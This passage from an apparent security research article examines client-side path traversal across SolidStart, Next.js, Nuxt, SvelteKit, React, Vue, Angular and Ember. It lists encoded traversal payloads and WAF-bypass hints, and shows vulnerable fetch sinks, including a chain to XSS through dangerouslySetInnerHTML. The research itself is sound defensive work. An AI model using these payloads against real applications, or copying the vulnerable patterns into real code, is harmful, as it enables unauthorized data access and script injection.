<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// @solidjs/router utils.js:50</span>
<span class="k">return</span> <span class="p">(</span><span class="nx">location</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">locSegments</span> <span class="o">=</span> <span class="nx">location</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="dl">"</span><span class="s2">/</span><span class="dl">"</span><span class="p">).</span><span class="nx">filter</span><span class="p">(</span><span class="nb">Boolean</span><span class="p">);</span>
  <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">len</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">segment</span> <span class="o">=</span> <span class="nx">segments</span><span class="p">[</span><span class="nx">i</span><span class="p">];</span>
    <span class="kd">const</span> <span class="nx">dynamic</span> <span class="o">=</span> <span class="nx">segment</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">===</span> <span class="dl">"</span><span class="s2">:</span><span class="dl">"</span><span class="p">;</span>
    <span class="kd">const</span> <span class="nx">locSegment</span> <span class="o">=</span> <span class="nx">dynamic</span> <span class="p">?</span> <span class="nx">locSegments</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="p">:</span> <span class="nx">locSegments</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">toLowerCase</span><span class="p">();</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">dynamic</span> <span class="o">&amp;&amp;</span> <span class="nx">matchSegment</span><span class="p">(</span><span class="nx">locSegment</span><span class="p">,</span> <span class="nx">matchFilter</span><span class="p">(</span><span class="nx">key</span><span class="p">)))</span> <span class="p">{</span>
      <span class="nx">match</span><span class="p">.</span><span class="nx">params</span><span class="p">[</span><span class="nx">key</span><span class="p">]</span> <span class="o">=</span> <span class="nx">locSegment</span><span class="p">;</span> <span class="c1">// RAW segment, NO decoding</span>
    <span class="p">}</span>
  <span class="p">}</span>
<span class="p">};</span>
</code></pre></div></div>

<p>Navigate to <code class="language-plaintext highlighter-rouge">/users/..%2f..%2fadmin</code> and <code class="language-plaintext highlighter-rouge">params.userId</code> returns <code class="language-plaintext highlighter-rouge">"..%2f..%2fadmin"</code>. The <code class="language-plaintext highlighter-rouge">%2f</code> is still <code class="language-plaintext highlighter-rouge">%2f</code>. The dots are still <code class="language-plaintext highlighter-rouge">%2e%2e</code> if you encoded them. Nothing has been decoded. If the developer interpolates that into a fetch URL, the browser sends the encoded string to the server, which sees <code class="language-plaintext highlighter-rouge">%2f</code> not <code class="language-plaintext highlighter-rouge">/</code>. No traversal.</p>

<p>I verified this in Chrome with a SolidStart lab app. <code class="language-plaintext highlighter-rouge">/encoding-test/hello%2Fworld</code> gave <code class="language-plaintext highlighter-rouge">params.testParam = "hello%2Fworld"</code>. <code class="language-plaintext highlighter-rouge">/encoding-test/%2E%2E%2Fapi%2Fadmin</code> gave <code class="language-plaintext highlighter-rouge">params.testParam = "..%2Fapi%2Fadmin"</code>. The dots decoded (browsers decode <code class="language-plaintext highlighter-rouge">%2E</code> in the pathname), but the slashes stayed encoded. That’s the critical difference from React Router, where both dots and slashes decode.</p>

<p>There are only two <code class="language-plaintext highlighter-rouge">decodeURI</code>/<code class="language-plaintext highlighter-rouge">decodeURIComponent</code> calls in the entire <code class="language-plaintext highlighter-rouge">@solidjs/router</code> codebase. One is in the <code class="language-plaintext highlighter-rouge">&lt;A&gt;</code> component for active link CSS class matching. The other is for scroll-to-hash. Neither is in the routing or param extraction pipeline.</p>

<p>Catch-all routes (<code class="language-plaintext highlighter-rouge">[...path]</code>) are the exception. The catch-all captures remaining segments joined with <code class="language-plaintext highlighter-rouge">/</code>: <code class="language-plaintext highlighter-rouge">locSegments.slice(-lenDiff).join("/")</code>. These slashes are real, they came from the URL path itself. Navigate to <code class="language-plaintext highlighter-rouge">/files/a/b/c</code> and <code class="language-plaintext highlighter-rouge">params.path = "a/b/c"</code>. But here’s the thing: literal <code class="language-plaintext highlighter-rouge">../</code> in the URL path gets resolved by the browser before JavaScript sees it. <code class="language-plaintext highlighter-rouge">/files/../../admin</code> becomes <code class="language-plaintext highlighter-rouge">/admin</code> in <code class="language-plaintext highlighter-rouge">window.location.pathname</code>. The route won’t even match <code class="language-plaintext highlighter-rouge">/files/*path</code>. And encoded <code class="language-plaintext highlighter-rouge">../</code> (<code class="language-plaintext highlighter-rouge">..%2f..%2fadmin</code>) stays encoded in the joined string, so the catch-all gives you <code class="language-plaintext highlighter-rouge">"..%2f..%2fadmin"</code> as a single segment, not a traversal.</p>

<table>
  <thead>
    <tr>
      <th>URL</th>
      <th><code class="language-plaintext highlighter-rouge">useParams()</code> Value</th>
      <th>In <code class="language-plaintext highlighter-rouge">fetch()</code> URL</th>
      <th>Traversal?</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/users/..%2f..%2fadmin</code></td>
      <td><code class="language-plaintext highlighter-rouge">..%2f..%2fadmin</code></td>
      <td><code class="language-plaintext highlighter-rouge">/api/users/..%2f..%2fadmin</code></td>
      <td>NO, stays encoded</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/users/%2e%2e%2f%2e%2e%2fadmin</code></td>
      <td><code class="language-plaintext highlighter-rouge">%2e%2e%2f%2e%2e%2fadmin</code></td>
      <td><code class="language-plaintext highlighter-rouge">/api/users/%2e%2e%2f%2e%2e%2fadmin</code></td>
      <td>NO, stays encoded</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/users/..%252f..%252fadmin</code></td>
      <td><code class="language-plaintext highlighter-rouge">..%252f..%252fadmin</code></td>
      <td><code class="language-plaintext highlighter-rouge">/api/users/..%252f..%252fadmin</code></td>
      <td>NO, stays encoded</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/files/a/b/c</code> (catch-all)</td>
      <td><code class="language-plaintext highlighter-rouge">a/b/c</code></td>
      <td><code class="language-plaintext highlighter-rouge">/api/files/a/b/c</code></td>
      <td>NO, normal path</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/files/..%2f..%2fadmin</code> (catch-all)</td>
      <td><code class="language-plaintext highlighter-rouge">..%2f..%2fadmin</code></td>
      <td><code class="language-plaintext highlighter-rouge">/api/files/..%2f..%2fadmin</code></td>
      <td>NO, stays encoded</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">%C0%AF</code> (overlong UTF-8 <code class="language-plaintext highlighter-rouge">/</code>)</td>
      <td>Raw preserved</td>
      <td>Raw preserved</td>
      <td>NO</td>
    </tr>
  </tbody>
</table>

<p>This is a fundamentally different encoding posture than every other framework. React Router, Vue Router, Angular, and Ember all decode params before your code sees them. SolidStart doesn’t.</p>

<h2 id="hybrid-cases">Hybrid Cases</h2>

<p>Nextjs, Nuxt and SvelteKit are hybrid frameworks that run code on both the client and the server. This creates multiple decoding contexts, which can lead to unexpected vulnerabilities if you’re not careful.</p>

<h4 id="nextjs">Next.js</h4>

<p>The first thing to understand about Next.js is that routing starts out on the server. When you navigate to a URL, the server matches it to a page component, runs <code class="language-plaintext highlighter-rouge">getServerSideProps()</code> if it exists, and sends the rendered HTML to the client. The client then hydrates that HTML and takes over routing for subsequent navigations. This means initial URL parsing and param extraction happens on the server, not in the browser.</p>

<p>Next.js has two separate routing systems: the App Router and the Pages Router. The App Router is the new system that uses React Server Components and file-based routing. The Pages Router is the older system. Both have their own decoding pipelines, but the App Router is where the interesting behavior lives. More on that later.</p>

<p>Next.js App Router has a function called <code class="language-plaintext highlighter-rouge">getParamValue()</code> (in <code class="language-plaintext highlighter-rouge">next/dist/shared/lib/router/utils/get-dynamic-param.js</code>) that re-encodes parameters before passing them to page and layout components. If you navigate to <code class="language-plaintext highlighter-rouge">/files/thepath%2fbooya</code>, a page component gets <code class="language-plaintext highlighter-rouge">thepath%2Fbooya</code> back. The slash is re-encoded. Traversal is neutralized. On the client side, <code class="language-plaintext highlighter-rouge">useParams()</code> behaves the same way. Re-encoded, safe.</p>

<h4 id="nuxt">Nuxt</h4>

<p>Nuxt is built on Vue Router, so I expected the client-side behavior to be identical. It is. What makes Nuxt interesting is everything that happens <em>around</em> Vue Router: the server-side H3 layer, the island component system, and the split personality between client and server param decoding.</p>

<p>On the client side, Nuxt inherits Vue Router’s decoding pipeline exactly. <code class="language-plaintext highlighter-rouge">useRoute().params</code> values pass through Vue Router’s <code class="language-plaintext highlighter-rouge">decodeParams()</code>, which applies <code class="language-plaintext highlighter-rouge">decodeURIComponent()</code> to every matched parameter. Navigate to <code class="language-plaintext highlighter-rouge">/users/..%2F..%2Fadmin</code> and <code class="language-plaintext highlighter-rouge">route.params.id</code> returns <code class="language-plaintext highlighter-rouge">"../../admin"</code>. The slashes are real. The dots are real. Everything I described in the Vue Router section applies here without modification.</p>

<p>The server side is a different story. Nuxt’s server routes run on H3/Nitro, which has its own param extraction via <code class="language-plaintext highlighter-rouge">radix3</code>. The critical function is <code class="language-plaintext highlighter-rouge">getRouterParam()</code>:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// h3/dist/index.mjs:252</span>
<span class="kd">function</span> <span class="nx">getRouterParams</span><span class="p">(</span><span class="nx">event</span><span class="p">,</span> <span class="nx">opts</span> <span class="o">=</span> <span class="p">{})</span> <span class="p">{</span>
  <span class="kd">let</span> <span class="nx">params</span> <span class="o">=</span> <span class="nx">event</span><span class="p">.</span><span class="nx">context</span><span class="p">.</span><span class="nx">params</span> <span class="o">||</span> <span class="p">{};</span>
  <span class="k">if</span> <span class="p">(</span><span class="nx">opts</span><span class="p">.</span><span class="nx">decode</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">params</span> <span class="o">=</span> <span class="p">{</span> <span class="p">...</span><span class="nx">params</span> <span class="p">};</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">key</span> <span class="k">in</span> <span class="nx">params</span><span class="p">)</span> <span class="p">{</span>
      <span class="nx">params</span><span class="p">[</span><span class="nx">key</span><span class="p">]</span> <span class="o">=</span> <span class="nx">decode</span><span class="p">(</span><span class="nx">params</span><span class="p">[</span><span class="nx">key</span><span class="p">]);</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="nx">params</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">getRouterParam(event, 'id')</code> does NOT decode by default. The <code class="language-plaintext highlighter-rouge">decode</code> option must be explicitly passed as <code class="language-plaintext highlighter-rouge">{ decode: true }</code>. Without it, <code class="language-plaintext highlighter-rouge">%2F</code> stays as <code class="language-plaintext highlighter-rouge">%2F</code>. This is genuinely safer than Vue Router’s client-side behavior, where decoding is unconditional.</p>

<p>But the safety is opt-out fragile. The moment a developer writes <code class="language-plaintext highlighter-rouge">getRouterParam(event, 'id', { decode: true })</code>, or manually calls <code class="language-plaintext highlighter-rouge">decodeURIComponent()</code> on the raw param, the traversal is live. And H3’s own documentation shows examples with the decode option enabled.</p>

<table>
  <thead>
    <tr>
      <th>URL Path Segment</th>
      <th>Client <code class="language-plaintext highlighter-rouge">route.params.id</code></th>
      <th>Server <code class="language-plaintext highlighter-rouge">getRouterParam(event, 'id')</code></th>
      <th>Server with <code class="language-plaintext highlighter-rouge">{ decode: true }</code></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">hello%2Fworld</code></td>
      <td><code class="language-plaintext highlighter-rouge">hello/world</code></td>
      <td><code class="language-plaintext highlighter-rouge">hello%2Fworld</code></td>
      <td><code class="language-plaintext highlighter-rouge">hello/world</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">..%2F..%2Fadmin</code></td>
      <td><code class="language-plaintext highlighter-rouge">../../admin</code></td>
      <td><code class="language-plaintext highlighter-rouge">..%2F..%2Fadmin</code></td>
      <td><code class="language-plaintext highlighter-rouge">../../admin</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">..%252F..%252Fadmin</code></td>
      <td><code class="language-plaintext highlighter-rouge">..%2F..%2Fadmin</code></td>
      <td><code class="language-plaintext highlighter-rouge">..%252F..%252Fadmin</code></td>
      <td><code class="language-plaintext highlighter-rouge">..%2F..%2Fadmin</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">%2e%2e%2f%2e%2e%2f</code></td>
      <td><code class="language-plaintext highlighter-rouge">../../</code></td>
      <td><code class="language-plaintext highlighter-rouge">%2e%2e%2f%2e%2e%2f</code></td>
      <td><code class="language-plaintext highlighter-rouge">../../</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">%00null</code></td>
      <td><code class="language-plaintext highlighter-rouge">\x00null</code></td>
      <td><code class="language-plaintext highlighter-rouge">%00null</code></td>
      <td><code class="language-plaintext highlighter-rouge">\x00null</code></td>
    </tr>
  </tbody>
</table>

<p>Catch-all routes (<code class="language-plaintext highlighter-rouge">pages/files/[...slug].vue</code>) compile to Vue Router’s <code class="language-plaintext highlighter-rouge">(.*)</code> pattern on the client and radix3’s <code class="language-plaintext highlighter-rouge">**</code> wildcard on the server. On the client, catch-all params return an array of decoded segments. <code class="language-plaintext highlighter-rouge">/files/..%2Fbooya/kasha</code> gives <code class="language-plaintext highlighter-rouge">route.params.slug = ["../booya", "kasha"]</code>. Joining that array with <code class="language-plaintext highlighter-rouge">/</code> produces <code class="language-plaintext highlighter-rouge">"../booya/kasha"</code>. On the server, <code class="language-plaintext highlighter-rouge">event.context.params._</code> or <code class="language-plaintext highlighter-rouge">event.context.params.path</code> returns the raw matched path string without decoding.</p>

<h4 id="svelte">Svelte</h4>

<p>SvelteKit decodes params through a two-stage pipeline, and unlike Next.js, there is no re-encoding before your code sees them. The result is that <code class="language-plaintext highlighter-rouge">%2F</code> in a URL path becomes a real <code class="language-plaintext highlighter-rouge">/</code> in your params. This makes SvelteKit exploitable from path params, more like React Router and Vue Router than Next.js.</p>

<p>The decoding chain has two stages:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Browser URL (percent-encoded)
    ↓
decode_pathname() -- splits on %25, applies decodeURI() per segment
    ↓
Route regex match -- ([^/]+?) for single params, ([^]*) for catch-all
    ↓
decode_params()   -- applies decodeURIComponent() to each param value
    ↓
params.userId     -- fully decoded, slashes are real
</code></pre></div></div>

<p>The key is the two-stage decode. <code class="language-plaintext highlighter-rouge">decode_pathname()</code> uses <code class="language-plaintext highlighter-rouge">decodeURI()</code>, which does NOT decode <code class="language-plaintext highlighter-rouge">/</code>, <code class="language-plaintext highlighter-rouge">?</code>, <code class="language-plaintext highlighter-rouge">#</code>, <code class="language-plaintext highlighter-rouge">&amp;</code>, <code class="language-plaintext highlighter-rouge">=</code>, <code class="language-plaintext highlighter-rouge">+</code>. So <code class="language-plaintext highlighter-rouge">%2F</code> stays as <code class="language-plaintext highlighter-rouge">%2F</code> during route matching. The regex <code class="language-plaintext highlighter-rouge">([^/]+?)</code> sees three literal characters <code class="language-plaintext highlighter-rouge">%</code>, <code class="language-plaintext highlighter-rouge">2</code>, <code class="language-plaintext highlighter-rouge">F</code>, not a slash. The route matches. Then <code class="language-plaintext highlighter-rouge">decode_params()</code> runs <code class="language-plaintext highlighter-rouge">decodeURIComponent()</code>, and <code class="language-plaintext highlighter-rouge">%2F</code> becomes <code class="language-plaintext highlighter-rouge">/</code>. By the time the developer’s code sees the param, the slash is real.</p>

<p>Navigate to <code class="language-plaintext highlighter-rouge">/users/..%2Fadmin%2Fsecrets</code>, and <code class="language-plaintext highlighter-rouge">params.userId</code> returns <code class="language-plaintext highlighter-rouge">"../admin/secrets"</code>. If the developer interpolates that into a fetch:</p>

<div class="language-typescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// +page.ts (universal load function)</span>
<span class="k">export</span> <span class="k">async</span> <span class="kd">function</span> <span class="nx">load</span><span class="p">({</span> <span class="nx">params</span><span class="p">,</span> <span class="nx">fetch</span> <span class="p">})</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">res</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="s2">`/api/users/</span><span class="p">${</span><span class="nx">params</span><span class="p">.</span><span class="nx">userId</span><span class="p">}</span><span class="s2">/profile`</span><span class="p">);</span>
  <span class="c1">// fetch URL: /api/users/../admin/secrets/profile</span>
  <span class="c1">// Browser resolves: GET /api/admin/secrets/profile</span>
  <span class="k">return</span> <span class="p">{</span> <span class="na">user</span><span class="p">:</span> <span class="k">await</span> <span class="nx">res</span><span class="p">.</span><span class="nx">json</span><span class="p">()</span> <span class="p">};</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This is true CSPT. The traversal happens at the fetch layer, not on the server. On client-side navigation, the browser’s native <code class="language-plaintext highlighter-rouge">fetch()</code> resolves the <code class="language-plaintext highlighter-rouge">../</code> before sending the request. On initial page load (SSR), SvelteKit’s server-side enhanced fetch resolves it internally. Either way, the traversal lands.</p>

<p>The one area where SvelteKit IS genuinely more secure than React Router is double-encoding. <code class="language-plaintext highlighter-rouge">decode_pathname()</code> splits on <code class="language-plaintext highlighter-rouge">%25</code> (encoded <code class="language-plaintext highlighter-rouge">%</code>) before decoding, which prevents <code class="language-plaintext highlighter-rouge">%252F</code> from round-tripping to <code class="language-plaintext highlighter-rouge">/</code>. Here’s the trace:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Input: %252F
Split on %25: ["", "2F"]
decodeURI("") → ""
decodeURI("2F") → "2F"
Rejoin with %25: "%252F"
decode_params("%252F") → "%2F"  (string literal, NOT a slash)
</code></pre></div></div>

<p>React Router’s pipeline converts <code class="language-plaintext highlighter-rouge">%252F</code> to <code class="language-plaintext highlighter-rouge">/</code> through its decode-then-replace mechanism. SvelteKit’s <code class="language-plaintext highlighter-rouge">%25</code>-split was introduced specifically to fix a documented double-decode bug (Issue #3069), where <code class="language-plaintext highlighter-rouge">this.parse(url)</code> decoded the URL first, then <code class="language-plaintext highlighter-rouge">decodeURIComponent()</code> ran again during param extraction. Fixed in v1.0.0-next.385.</p>

<p>Catch-all routes (<code class="language-plaintext highlighter-rouge">[...path]</code>) have a unique quirk in SvelteKit: they return a string, not an array. <code class="language-plaintext highlighter-rouge">/files/a/b/c</code> gives <code class="language-plaintext highlighter-rouge">params.path = "a/b/c"</code>. Vue Router returns <code class="language-plaintext highlighter-rouge">["a", "b", "c"]</code>. The string form means no <code class="language-plaintext highlighter-rouge">.join('/')</code> is needed. Traversal sequences work natively when interpolated into fetch URLs.</p>

<h3 id="query-parameters">Query Parameters</h3>

<p>Query parameters are a rich cspt attack surface that often gets overlooked. They don’t have the same segment boundary protections as path params, and many frameworks decode them fully before your code sees them. Query params have a bigger attack surface than path params because there’s no segment splitting. The entire value arrives as one decoded string. And since query params don’t trigger browser path normalization, you can use literal <code class="language-plaintext highlighter-rouge">../</code> without any encoding at all: <code class="language-plaintext highlighter-rouge">/dashboard/stats?widget=../../attachments/malicious</code> works just fine. However, encoding may help with waff bypasses or other filters that look for traversal patterns.</p>

<h4 id="react-1">React</h4>

<p><code class="language-plaintext highlighter-rouge">useSearchParams()</code> returns decoded values. The browser handles the decoding before JavaScript sees the value, so <code class="language-plaintext highlighter-rouge">?widget=..%2F..%2Fattachments%2Fmalicious</code> gives you <code class="language-plaintext highlighter-rouge">widget = "../../attachments/malicious"</code>. There is no re-encoding, no sanitization, nothing between the decoded value and your code.</p>

<p>Query parameters are actually a bigger attack surface than path params for one reason: there’s no segment boundary. With path params, the router splits on <code class="language-plaintext highlighter-rouge">/</code> first, so your payload has to survive inside a single segment. With query params, there’s no splitting at all. The entire value <code class="language-plaintext highlighter-rouge">../../api/internal/users</code> lands as one decoded string, slashes and all. You don’t need any encoding tricks either, because the browser doesn’t normalize <code class="language-plaintext highlighter-rouge">../</code> in query strings the way it does in paths.</p>

<h4 id="nextjs-1">Next.js</h4>

<p><code class="language-plaintext highlighter-rouge">useSearchParams()</code> on the client side returns decoded values. Navigate to <code class="language-plaintext highlighter-rouge">/dashboard/stats?widget=../../attachments/malicious</code> and <code class="language-plaintext highlighter-rouge">searchParams.get("widget")</code> returns <code class="language-plaintext highlighter-rouge">"../../attachments/malicious"</code>. The slashes are real. The dots are real.</p>

<p>This is the one area where Next.js page components ARE vulnerable to client-side CSPT. The path param re-encoding defense only applies to path params accessed through <code class="language-plaintext highlighter-rouge">await params</code> or <code class="language-plaintext highlighter-rouge">useParams()</code>. Query params go through the browser’s standard <code class="language-plaintext highlighter-rouge">URLSearchParams</code>, which decodes everything. If a developer reads a query param and interpolates it into a fetch URL, the traversal works exactly the same as in React Router.</p>

<h4 id="vue-1">Vue</h4>

<p><code class="language-plaintext highlighter-rouge">route.query</code> is decoded the same way as <code class="language-plaintext highlighter-rouge">route.params</code>. Navigate to <code class="language-plaintext highlighter-rouge">/dashboard/stats?widget=..%2F..%2Fattachments%2Fmalicious</code> and <code class="language-plaintext highlighter-rouge">route.query.widget</code> returns <code class="language-plaintext highlighter-rouge">"../../attachments/malicious"</code>. The <code class="language-plaintext highlighter-rouge">%2F</code> has been decoded to a real slash.</p>

<h4 id="angular-1">angular</h4>

<p>Query parameters are an even bigger CSPT surface in Angular than path params. The router decodes them via <code class="language-plaintext highlighter-rouge">decodeQuery()</code>, which replaces <code class="language-plaintext highlighter-rouge">+</code> with <code class="language-plaintext highlighter-rouge">%20</code> then calls <code class="language-plaintext highlighter-rouge">decodeURIComponent</code>. Query values are matched by <code class="language-plaintext highlighter-rouge">/^[^&amp;#]+/</code>. They stop at <code class="language-plaintext highlighter-rouge">&amp;</code> or <code class="language-plaintext highlighter-rouge">#</code> but NOT at <code class="language-plaintext highlighter-rouge">/</code>. So <code class="language-plaintext highlighter-rouge">?path=../../admin</code> flows through without any segment splitting to worry about.</p>

<p>This is significant because path params at least have the segment-matching stage as a gate. Angular splits on literal <code class="language-plaintext highlighter-rouge">/</code> first, so your payload has to survive inside a single segment. Query params have no such constraint. The entire value <code class="language-plaintext highlighter-rouge">../../api/internal/users</code> lands in <code class="language-plaintext highlighter-rouge">queryParamMap.get('path')</code> as one decoded string, slashes and all.</p>

<h4 id="svelte-1">Svelte</h4>

<p><code class="language-plaintext highlighter-rouge">url.searchParams</code> in SvelteKit load functions is standard <code class="language-plaintext highlighter-rouge">URLSearchParams</code>, which means it decodes everything. <code class="language-plaintext highlighter-rouge">?widget=..%2Fattachments%2Fmalicious</code> gives you <code class="language-plaintext highlighter-rouge">"../attachments/malicious"</code>. The <code class="language-plaintext highlighter-rouge">%2F</code> has been decoded to a real slash.</p>

<p>On the client side, <code class="language-plaintext highlighter-rouge">$page.url.searchParams.get('widget')</code> behaves the same way. Decoded. Slashes are real. No segment boundary constraints. And since query params don’t trigger browser path normalization, literal <code class="language-plaintext highlighter-rouge">../</code> works without encoding.</p>

<h4 id="nuxt-1">Nuxt</h4>

<p><code class="language-plaintext highlighter-rouge">useRoute().query</code> on the client side is decoded by Vue Router’s <code class="language-plaintext highlighter-rouge">parseQuery()</code>. Navigate to <code class="language-plaintext highlighter-rouge">/dashboard/stats?widget=..%2F..%2Fattachments%2Fmalicious</code> and <code class="language-plaintext highlighter-rouge">route.query.widget</code> returns <code class="language-plaintext highlighter-rouge">"../../attachments/malicious"</code>. Same as standalone Vue Router. One quirk: <code class="language-plaintext highlighter-rouge">+</code> is NOT converted to a space. Vue Router treats <code class="language-plaintext highlighter-rouge">+</code> as a literal character, unlike the standard <code class="language-plaintext highlighter-rouge">URLSearchParams</code> behavior.</p>

<p>On the server side, H3’s <code class="language-plaintext highlighter-rouge">getQuery(event)</code> uses the <code class="language-plaintext highlighter-rouge">ufo</code> library, which does decode query values. So <code class="language-plaintext highlighter-rouge">?widget=..%2Fadmin</code> gives <code class="language-plaintext highlighter-rouge">{ widget: "../admin" }</code> on both client and server. Query params are decoded everywhere in Nuxt.</p>

<h4 id="ember-1">Ember</h4>

<p>Query parameters in Ember are declared on the route or controller via the <code class="language-plaintext highlighter-rouge">queryParams</code> property. They arrive in the <code class="language-plaintext highlighter-rouge">model(params)</code> hook alongside path params. Route-recognizer strips the query string before route matching and parses it separately. The values are decoded by the browser’s standard query parsing.</p>

<p>Navigate to <code class="language-plaintext highlighter-rouge">/dashboard/stats?period=../../admin</code> and <code class="language-plaintext highlighter-rouge">params.period</code> returns <code class="language-plaintext highlighter-rouge">"../../admin"</code>. The traversal is in the decoded value. Like every other framework, query params have no segment boundary constraint, so the full traversal string lands as one value.</p>

<h4 id="solidstart-1">SolidStart</h4>

<p><code class="language-plaintext highlighter-rouge">useSearchParams()</code> returns values decoded by the browser’s standard <code class="language-plaintext highlighter-rouge">URLSearchParams</code>, which calls <code class="language-plaintext highlighter-rouge">decodeURIComponent</code> on every value per spec. Navigate to <code class="language-plaintext highlighter-rouge">/dashboard/stats?source=..%2f..%2fadmin</code> and <code class="language-plaintext highlighter-rouge">searchParams.source</code> returns <code class="language-plaintext highlighter-rouge">"../../admin"</code>. The slashes are real.</p>

<p>This is the primary CSPT vector in SolidStart. Path params are safe because the router doesn’t decode them. Query params are decoded because the browser API does it, and the router can’t prevent that. The attack surface shifts entirely from paths to query strings.</p>

<h3 id="hash">Hash</h3>

<p><code class="language-plaintext highlighter-rouge">window.location.hash</code> is the simplest source. The browser never encodes or decodes the hash fragment. Whatever you put after the <code class="language-plaintext highlighter-rouge">#</code> is exactly what JavaScript sees. Navigate to <code class="language-plaintext highlighter-rouge">/dashboard/settings#../../admin/users</code> and <code class="language-plaintext highlighter-rouge">window.location.hash.slice(1)</code> gives you <code class="language-plaintext highlighter-rouge">"../../admin/users"</code>. No encoding tricks needed.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">apiService</span> <span class="o">=</span> <span class="p">{</span>
  <span class="na">get</span><span class="p">:</span> <span class="p">(</span><span class="nx">path</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nx">fetch</span><span class="p">(</span><span class="s2">`/api</span><span class="p">${</span><span class="nx">path</span><span class="p">}</span><span class="s2">`</span><span class="p">).</span><span class="nx">then</span><span class="p">((</span><span class="nx">r</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nx">r</span><span class="p">.</span><span class="nx">json</span><span class="p">()),</span>
<span class="p">};</span>

<span class="kd">const</span> <span class="nx">hash</span> <span class="o">=</span> <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">hash</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="nx">apiService</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="nx">hash</span><span class="p">);</span>
<span class="c1">// fetch("/api../../admin/users") → browser resolves to GET /admin/users</span>
</code></pre></div></div>

<h3 id="the-sink">The Sink</h3>

<p>When we talk about the sink, we’re usually talking about <code class="language-plaintext highlighter-rouge">fetch()</code>, but it could be any function that takes a URL or path and makes a request. The key point is that if the decoded value from the URL gets interpolated directly into a fetch URL, the browser will resolve any <code class="language-plaintext highlighter-rouge">../</code> sequences before sending the request. This is true for both client-side navigation and server-side rendering contexts. If a path traversal payload reaches client-side fetch, this leads to CSPT, if it reaches server-side fetch, it can lead to secondary-context path traversal.</p>

<h3 id="react-2">React</h3>

<p>The sink in React Router apps is almost always <code class="language-plaintext highlighter-rouge">fetch()</code> or a library wrapper around it like Axios. The decoded param gets interpolated into a template literal, and the browser resolves the <code class="language-plaintext highlighter-rouge">../</code> before sending the request.</p>

<p>The most dangerous combination is when the fetch response flows into <code class="language-plaintext highlighter-rouge">dangerouslySetInnerHTML</code>. This turns CSPT into XSS. If the attacker can control what endpoint the fetch hits, and that endpoint returns HTML (like a user-uploaded attachment), then the HTML gets rendered directly into the DOM:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="p">[</span><span class="nx">params</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useSearchParams</span><span class="p">();</span>
<span class="kd">const</span> <span class="nx">widget</span> <span class="o">=</span> <span class="nx">params</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">"</span><span class="s2">widget</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">fetch</span><span class="p">(</span><span class="s2">`/api/widgets/</span><span class="p">${</span><span class="nx">widget</span><span class="p">}</span><span class="s2">`</span><span class="p">)</span>
  <span class="p">.</span><span class="nx">then</span><span class="p">((</span><span class="nx">r</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nx">r</span><span class="p">.</span><span class="nx">text</span><span class="p">())</span>
  <span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="nx">setHtml</span><span class="p">);</span>

<span class="c1">// later in JSX:</span>
<span class="o">&lt;</span><span class="nx">div</span> <span class="nx">dangerouslySetInnerHTML</span><span class="o">=</span><span class="p">{{</span> <span class="na">__html</span><span class="p">:</span> <span class="nx">html</span> <span class="p">}}</span> <span class="sr">/&gt;</span><span class="err">;
</span></code></pre></div></div>

